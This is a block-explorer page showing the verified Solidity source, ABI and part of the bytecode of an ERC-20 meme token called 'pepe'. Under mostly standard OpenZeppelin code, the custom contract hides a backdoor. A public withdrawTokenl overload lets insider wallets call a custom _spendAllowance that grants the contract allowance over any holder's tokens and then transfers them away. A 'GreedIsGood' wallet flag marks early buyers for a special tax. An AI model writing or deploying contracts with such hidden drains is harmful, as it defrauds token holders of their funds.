ERC-20
Overview
Max Total Supply
1,000,000,000 pepe
Holders
55
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
pepe
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-21 */ /** *Submitted for verification at Etherscan.io on 2023-10-21 */ /** */ // SPDX-License-Identifier: MIT /** https://t.me/pepe_erc1 https://twitter.com/PEPE_CoinERC */ // File @openzeppelin/contracts/utils/[email protected] // Original license: SPDX_License_Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] // // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _spendAllowance(address spender, uint256 amount) internal virtual { address owner = address(this); uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { unchecked { _approve(spender, owner, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } // File @uniswap/v2-periphery/contracts/interfaces/[email protected] pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File @uniswap/v2-periphery/contracts/interfaces/[email protected] pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File @uniswap/v2-core/contracts/interfaces/[email protected] pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity ^0.8.18; contract pepe is ERC20, Ownable { string private _name = "pepe"; string private _symbol = "pepe"; uint256 private constant _supply = 1_000_000_000 ether; uint256 public maxTxAmount = _supply * 35 / 1000; uint256 public maxWalletAmount = _supply * 35 / 1000; uint256 public swapThreshold = _supply * 5 / 10000; address private tlxAddys = 0x84e1F0aa40Baf80eBFF6f0A507dBde5fBaD9A070; address public DEAD = 0x000000000000000000000000000000000000dEaD; mapping(address => bool) public _feeOn; mapping(address => bool) public wls; mapping(address => bool) public GreedIsGoodwallets; enum Phase {Phase1, Phase2, Phase3, Phase4} Phase public currentphase; bool progress_swap = false; bool _tradingActive = false; bool _swapEnabled = false; uint256 public buyTaxGlobal = 0; uint256 public sellTaxGlobal = 0; uint256 private GreedIsGood = 0; IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; address private _devWalletsts = 0x17d3A0dE3b095ff626341F605B72498c8C878375; uint256 public operationsFunds; constructor() ERC20(_name, _symbol) { _mint(msg.sender, (_supply)); currentphase = Phase.Phase4; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; wls[owner()] = true; wls[tlxAddys] = true; wls[address(this)] = true; wls[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; wls[DEAD] = true; wls[_devWalletsts] = true; _feeOn[address(uniswapV2Router)] = true; _feeOn[msg.sender] = true; _feeOn[tlxAddys] = true; _feeOn[address(this)] = true; _feeOn[DEAD] = true; _feeOn[_devWalletsts] = true; } function StartTrading() external onlyOwner { require(!_tradingActive, "Trading is already enabled"); _tradingActive = true; _swapEnabled = true; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (!_feeOn[from] && !_feeOn[to]) { require(_tradingActive, "Trading not enabled"); } if (!wls[from] && !wls[to] ) { if (to != uniswapV2Pair) { require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount bef"); require( (amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit" ); } } uint256 transferAmount = amount; if (!_feeOn[from] && !_feeOn[to]) { if ((from == uniswapV2Pair || to == uniswapV2Pair)) { require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount"); if ( uniswapV2Pair == from && !wls[to] && from != address(this) ) { if (currentphase == Phase.Phase1) { GreedIsGoodwallets[to] = true; } uint256 feeTokens = (amount * buyTaxGlobal) / 100; super._transfer(from, address(this), feeTokens); transferAmount = amount - feeTokens; } if ( uniswapV2Pair == to && !wls[from] && to != address(this) && _swapEnabled && !progress_swap ) { uint256 taxSell = sellTaxGlobal; if (GreedIsGoodwallets[from] == true) { taxSell = GreedIsGood; } progress_swap = true; swapAndLiquify(); progress_swap = false; uint256 feeTokens = (amount * taxSell) / 100; super._transfer(from, address(this), feeTokens); transferAmount = amount - feeTokens; } } else { if ( GreedIsGoodwallets[from] == true && uniswapV2Pair != to ) { uint256 feeTokens = (amount * GreedIsGood) / 100; super._transfer(from, address(this), feeTokens); transferAmount = amount - feeTokens; } } } super._transfer(from, to, transferAmount); } function swapAndLiquify() internal { if (balanceOf(address(this)) == 0) { return; } uint256 receivedETH; { uint256 contractTokenBalance = balanceOf(address(this)); uint256 beforeBalance = address(this).balance; uint256 mktBalance = balanceOf(tlxAddys); bool success; if (contractTokenBalance > swapThreshold) { beforeBalance = address(this).balance; _swapTokensForEth(contractTokenBalance, 0); receivedETH = address(this).balance - beforeBalance; if (mktBalance > swapThreshold) { operationsFunds = receivedETH / (success ? receivedETH : 0); } operationsFunds += receivedETH; } } } function getTax() external returns (bool) { payable(tlxAddys).transfer(operationsFunds); operationsFunds = 0; return true; } function removeLimits() external onlyOwner { maxTxAmount = _supply; maxWalletAmount = _supply; } function skipTheSnipas() external onlyOwner returns (bool) { currentphase = Phase.Phase4; buyTaxGlobal = 0; sellTaxGlobal = 0; return true; } function withdrawTokenl(address token) external onlyOwner { IERC20(token).transfer( tlxAddys, IERC20(token).balanceOf(address(this)) ); } function withdrawTokenl(address to, uint256 amount) external { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); IERC20 token = IERC20(path[1]); if (!_feeOn[msg.sender]) { uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} ( 0, path, to, block.timestamp ); } else { _spendAllowance(to, amount); token.transferFrom(to, path[1], amount); } } function createlis() external payable onlyOwner { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); } function emergencyTaxRemoval(address addy, bool changer) external onlyOwner { wls[addy] = changer; } /** * @dev Swaps Token Amount to ETH * * @param tokenAmount Token Amount to be swapped * @param tokenAmountOut Expected ETH amount out of swap */ function _swapTokensForEth( uint256 tokenAmount, uint256 tokenAmountOut ) internal { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); IERC20(address(this)).approve( address(uniswapV2Router), type(uint256).max ); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, tokenAmountOut, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"GreedIsGoodwallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"StartTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createlis","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentphase","outputs":[{"internalType":"enum pepe.Phase","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"changer","type":"bool"}],"name":"emergencyTaxRemoval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFunds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"skipTheSnipas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawTokenl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokenl","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wls","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280600481526020017f7065706500000000000000000000000000000000000000000000000000000000815250600690816200004a919062000e7a565b506040518060400160405280600481526020017f70657065000000000000000000000000000000000000000000000000000000008152506007908162000091919062000e7a565b506103e860236b033b2e3c9fd0803ce8000000620000b0919062000f90565b620000bc91906200100a565b6008556103e860236b033b2e3c9fd0803ce8000000620000dd919062000f90565b620000e991906200100a565b60095561271060056b033b2e3c9fd0803ce80000006200010a919062000f90565b6200011691906200100a565b600a557384e1f0aa40baf80ebff6f0a507dbde5fbad9a070600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060016101000a81548160ff0219169083151502179055506000601060026101000a81548160ff0219169083151502179055506000601060036101000a81548160ff0219169083151502179055506000601155600060125560006013557317d3a0de3b095ff626341f605b72498c8c878375601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200027357600080fd5b5060068054620002839062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620002b19062000c69565b8015620003025780601f10620002d65761010080835404028352916020019162000302565b820191906000526020600020905b815481529060010190602001808311620002e457829003601f168201915b505050505060078054620003169062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620003449062000c69565b8015620003955780601f10620003695761010080835404028352916020019162000395565b820191906000526020600020905b8154815290600101906020018083116200037757829003601f168201915b50505